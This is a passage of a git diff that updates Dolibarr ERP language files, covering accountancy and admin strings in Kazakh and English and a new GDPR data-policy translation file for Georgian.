+AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/ka_GE/datapolicy.lang b/htdocs/langs/ka_GE/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ka_GE/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/kk_KZ/accountancy.lang b/htdocs/langs/kk_KZ/accountancy.lang index 10f9c9d5d85..23a349ad40c 100644 --- a/htdocs/langs/kk_KZ/accountancy.lang +++ b/htdocs/langs/kk_KZ/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Артқа қайту түрін таңдаңыз ACCOUNTING_EXPORT_PREFIX_SPEC=Файл атауының префиксін көрсетіңіз ThisService=Бұл қызмет ThisProduct=Бұл өнім -DefaultForService=Қызметтің әдепкі мәні -DefaultForProduct=Өнімнің әдепкі мәні +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Бұл үшінші тарапқа арналған өнім ServiceForThisThirdparty=Бұл үшінші тарапқа қызмет көрсету CantSuggest=Ұсыну мүмкін емес @@ -48,8 +48,9 @@ CountriesNotInEEC=ЕЭК -ке кірмейтін елдер CountriesInEECExceptMe=%s қоспағанда, ЕЭК елдері CountriesExceptMe=%s қоспағанда, барлық елдер AccountantFiles=Бастапқы құжаттарды экспорттау -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Журналдарды экспорттау үшін %s - %s мәзір жазбасын пайдаланыңыз. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Бухгалтерлік шот бойынша қарау VueBySubAccountAccounting=Бухгалтерлік қосалқы шот бойынша қарау @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Орнатуда анықталмаған же MainAccountForUsersNotDefined=Орнатуда анықталмаған пайдаланушылардың негізгі бухгалтерлік шоты MainAccountForVatPaymentNotDefined=ҚҚС төлеудің негізгі бухгалтерлік шоты баптауда анықталмаған MainAccountForSubscriptionPaymentNotDefined=Орнатуда анықталмаған абоненттік төлемнің негізгі бухгалтерлік шоты +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Бухгалтерлік есеп аймағы AccountancyAreaDescIntro=Бухгалтерлік есеп модулін пайдалану бірнеше кезеңнен тұрады: @@ -99,7 +101,8 @@ ShowAccountingAccount=Бухгалтерлік есепті көрсету ShowAccountingJournal=Бухгалтерлік журналды көрсету ShowAccountingAccountInLedger=Бухгалтерлік есепті бухгалтерлік есепте көрсету ShowAccountingAccountInJournals=Журналдарда бухгалтерлік есепті көрсетіңіз -AccountAccountingSuggest=Бухгалтерлік есеп ұсынылды +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Әдепкі есептік жазбалар MenuBankAccounts=Банктік шоттар MenuVatAccounts=ҚҚС шоттары @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Кітап BookkeepingSubAccount=Қосалқы кітап AccountBalance=Шоттың қалдығы +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Бастапқы объект реф CAHTF=Сатып алушылардың жалпы сомасы салыққа дейін TotalExpenseReport=Жалпы шығындар есебі @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Банк шотындағы операцияны ті ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Журналға эскиз экспортын қосу ACCOUNTANCY_COMBO_FOR_AUX=Қосалқы шот үшін құрама тізімді қосыңыз (егер сізде үшінші тараптар көп болса, баяу болуы мүмкін, құндылықтың бір бөлігін іздеу мүмкіндігін бұзыңыз) ACCOUNTING_DATE_START_BINDING=Бухгалтерлік есепте байланыстыруды және аударуды бастау күнін анықтаңыз. Осы күннен төмен операциялар бухгалтерлік есепке көшірілмейді. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Бухгалтерлік есепті аудару кезінде әдепкі бойынша кезең көрсетілімін таңдаңыз +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Журнал сату -ACCOUNTING_PURCHASE_JOURNAL=Журнал сатып алу -ACCOUNTING_MISCELLANEOUS_JOURNAL=Әр түрлі журнал +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Шығындар туралы есеп журналы -ACCOUNTING_SOCIAL_JOURNAL=Әлеуметтік журнал +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Жаңа журнал бар +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Әлеуметтік журнал ACCOUNTING_RESULT_PROFIT=Нәтижені есепке алу шоты (пайда) ACCOUNTING_RESULT_LOSS=Нәтижелік бухгалтерлік есеп (залал) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Жабу журналы -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Өтпелі банктік аударымның бухгалтерлік шоты +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Өтпелі банктік аударым шоты -ACCOUNTING_ACCOUNT_SUSPENSE=Күтудің бухгалтерлік есебі -DONATION_ACCOUNTINGACCOUNT=Қайырымдылықты тіркеу үшін бухгалтерлік есеп -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Жазылымдарды тіркеу үшін бухгалтерлік есеп +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Клиенттердің депозитін тіркеу үшін әдепкі бойынша бухгалтерлік есеп -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Сатып алынған өнімдер бойынша әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=ЕЭК -те сатып алынған өнімдер бойынша әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Сатып алынған және ЕЭК -тен тыс импортталған өнімдер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Сатылған өнімдер бойынша әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=ЕЭК -те сатылатын өнімдер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=ЕЭК -тен тыс сатылған және экспортталған өнімдер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер өнім парағында анықталмаса қолданылады) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Сатып алынған қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=ЕЭК -те сатып алынған қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Сатып алынған және ЕЭК -тен тыс импортталған қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Сатылған қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=ЕЭК -те сатылатын қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=ЕЭК -тен тыс сатылатын және экспортталатын қызметтер үшін әдепкі бойынша бухгалтерлік есеп шоты (егер қызмет парағында анықталмаса қолданылады) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Құжат түрі Docdate=Күні @@ -211,7 +220,8 @@ Codejournal=Журнал JournalLabel=Журнал белгісі NumPiece=Бөлшектің нөмірі TransactionNumShort=Сан транзакция -AccountingCategory=Таңдамалы топ +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Бас бухгалтерлік есеп бойынша топтастыру GroupBySubAccountAccounting=Қосалқы шот бойынша топтастыру AccountingAccountGroupsDesc=Мұнда сіз бухгалтерлік есептің кейбір топтарын анықтай аласыз. Олар дербестендірілген бухгалтерлік есептер үшін пайдаланылады. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Деңгей бойынша қосалқы жиынтығы Pcgtype=Есеп тобы PcgtypeDesc=Есептер тобы кейбір бухгалтерлік есептер үшін алдын ала анықталған «сүзгі» және «топтастыру» критерийлері ретінде қолданылады. Мысалы, «КІРІС» немесе «ШЫҒЫНДАР» шығыстар/кірістер туралы есепті құру үшін өнімнің бухгалтерлік есеп шоттары үшін топ ретінде қолданылады. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Келісімді TotalVente=Салыққа дейінгі жалпы айналым TotalMarge=Жалпы сату маржасы -DescVentilCustomer=Өнімдерді есепке алу шотына байланыстырылған (немесе жоқ) тұтынушылардың шот -фактураларының тізімін осы жерден қараңыз -DescVentilMore=Көп жағдайда, егер сіз алдын ала анықталған өнімдерді немесе қызметтерді пайдалансаңыз және сіз өнімге/қызмет картасына шот нөмірін орнатсаңыз, бағдарлама шот -фактураның сызықтары мен шоттар жоспарының бухгалтерлік шоты арасындағы байланыстыруды жасай алады. «%s» батырмасымен бір шертіңіз. Егер есептік жазба өнімнің/қызмет картасында орнатылмаған болса немесе сізде әлі де тіркелгіге байланбаған жолдар болса, « %s » мәзірінен қолмен байланыстыру қажет болады. -DescVentilDoneCustomer=Мұнда клиенттердің шот -фактураларының тізімі мен олардың өнімдерін есепке алу шотын қараңыз -DescVentilTodoCustomer=Өнімдерді есепке алу шотына әлі байланбаған шот -фактуралық жолдарды байланыстырыңыз -ChangeAccount=Келесі бухгалтерлік шотпен таңдалған жолдар үшін өнімнің/қызметтің есеп шотын өзгертіңіз: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Өнімді есепке алу шотына байланған немесе әлі байланбаған жеткізуші шот -фактураларының тізімін мына жерден қараңыз (тек бухгалтерлік есепке аударылмаған жазба ғана көрінеді) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Мұнда жеткізушілердің шот -фактураларының тізімі мен олардың бухгалтерлік шоты бойынша танысыңыз DescVentilTodoExpenseReport=Төлемді есепке алу шотымен байланыстырылмаған шығыстар туралы есеп беру жолдарын байланыстырыңыз DescVentilExpenseReport=Бұл жерде төлемді есепке алу шотына байланысты (немесе жоқ) шығыстар туралы есеп беру жолдарының тізімін қараңыз @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Егер сіз бухгалтерлік есепт DescVentilDoneExpenseReport=Мұнда шығыстар туралы есептер мен олардың есепке алу шоттарының тізімін қараңыз Closure=Жылдық жабылу -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Жазуды, жазуды және жоюды кез келген өзгертуге немесе жоюға тыйым салынады. Жаттығуға арналған барлық жазбалар тексерілуі керек, әйтпесе жабу мүмкін болмайды ValidateHistory=Автоматты түрде байлау AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Қате, сіз бұл есептік жазбаны жоя алмайсыз, себебі ол пайдаланылады +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Тепе -теңдік FicheVentilation=Міндетті карта GeneralLedgerIsWritten=Мәмілелер кітапта жазылады GeneralLedgerSomeRecordWasNotRecorded=Кейбір транзакциялар журналға енгізілмеді. Егер басқа қате туралы хабар болмаса, бұл олардың журналға енгізілгендіктен болар. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Бухгалтерлік есепке жатпайтын өнімдердің тізімі +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Байланысты өзгерту Accounted=Бухгалтерлік кітапта есепке алынды NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Әр түрлі операциялар AccountingJournalType2=Сату AccountingJournalType3=Сатып алулар AccountingJournalType4=Банк -AccountingJournalType5=Шығындар есебі +AccountingJournalType5=Expense reports AccountingJournalType8=Түгендеу AccountingJournalType9=Жаңасы бар +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Бұл журнал қазірдің өзінде қолданылады AccountingAccountForSalesTaxAreDefinedInto=Ескерту: Сатудан алынатын салықтың бухгалтерлік шоты %s - %s мәзірінде анықталған. NumberOfAccountancyEntries=Жазбалар саны @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Қозғалыс саны ACCOUNTING_DISABLE_BINDING_ON_SALES=Сату кезінде бухгалтерлік есепте байланыстыруды және аударуды өшіру (клиенттердің шот -фактуралары бухгалтерлік есепке алынбайды) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Сатып алу кезінде бухгалтерлік есепте байланыстыруды және аударуды өшіру (жеткізушілердің шот -фактуралары бухгалтерлік есепке алынбайды) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Бухгалтерлік есепте міндеттемелер мен аударымдарды өшіру (шығындар туралы есептер бухгалтерлік есепке алынбайды) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Бухгалтерлік экспорттық файлдың генерациясын растау? ExportDraftJournal=Журналдың жобасын экспорттау @@ -389,7 +406,7 @@ SaleLocal=Жергілікті сату SaleExport=Экспорттық сату SaleEEC=ЕЭК -те сату SaleEECWithVAT=ЕЭК -те ҚҚС -мен сату нөлге тең емес, сондықтан біздің ойымызша бұл сатылымнан тыс сату емес және ұсынылған шот - бұл өнімнің стандартты шоты. -SaleEECWithoutVATNumber=ЕЭК -те ҚҚС жоқ сату, бірақ үшінші тараптың ҚҚС идентификаторы анықталмаған. Біз стандартты сату бойынша өнім шотынан бас тартамыз. Қажет болса, үшінші тараптың ҚҚС идентификаторын немесе өнім шотын түзетуге болады. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Есептелген Formula=Формула ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Бухгалтерлік жазбалар @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Көп валюталық код (Idevise) DateExport=Күнді экспорттау WarningReportNotReliable=Ескерту, бұл есеп кітапқа негізделмеген, сондықтан кітапта қолмен өзгертілген транзакцияны қамтымайды. Егер сіздің журналистика жаңартылған болса, онда бухгалтерлік есеп дәлірек болады. ExpenseReportJournal=Шығындар туралы есеп журналы -InventoryJournal=Түгендеу журналы +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s есептік жазбалары diff --git a/htdocs/langs/kk_KZ/admin.lang b/htdocs/langs/kk_KZ/admin.lang index 825bd6eab5f..2bc0f272b34 100644 --- a/htdocs/langs/kk_KZ/admin.lang +++ b/htdocs/langs/kk_KZ/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Клиенттерді салыстыру WarningModuleNotActive= %s модулі қосылуы керек WarningOnlyPermissionOfActivatedModules=Мұнда тек белсендірілген модульдерге қатысты рұқсаттар көрсетіледі. Басқа модульдерді Home-> Setup-> Modules бетінде іске қосуға болады. DolibarrSetup=Dolibarr орнату немесе жаңарту -InternalUser=Ішкі қолданушы -ExternalUser=Сыртқы қолданушы InternalUsers=Ішкі пайдаланушылар ExternalUsers=Сыртқы пайдаланушылар UserInterface=Қолданушы интерфейсі @@ -147,6 +145,7 @@ Box=Виджет Boxes=Виджеттер MaxNbOfLinesForBoxes=Максимум виджеттерге арналған жолдар саны AllWidgetsWereEnabled=Барлық қол жетімді виджеттер қосылған +WidgetAvailable=Widget available PositionByDefault=Әдепкі тапсырыс Position=Позиция MenusDesc=Мәзір менеджерлері екі мәзір жолағының мазмұнын орнатады (көлденең және тік). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS хост (php.ini әдепкі мәні: %s MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS порты (Unix тәрізді жүйелерде PHP-де анықталмаған) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS хост (Unix тәрізді жүйелерде PHP-ге анықталмаған) MAIN_MAIL_EMAIL_FROM=Автоматты электрондық хаттар үшін жіберуші электрондық поштасы (php.ini әдепкі мәні: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Қате үшін пайдаланылатын электрондық пошта электрондық поштаны қайтарады (жіберілген хаттардағы «Қателер-Кім» өрістері) MAIN_MAIL_AUTOCOPY_TO= Барлық жіберілген электрондық пошталарды (Bcc) көшіріңіз MAIN_DISABLE_ALL_MAILS=Барлық электрондық поштаны жіберуді өшіру (тестілеу немесе демонстрация үшін) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML жіберуді тексеру ErrorCantUseRazIfNoYearInMask=Қате, {yy} немесе {yyyy} реттілігі маскада 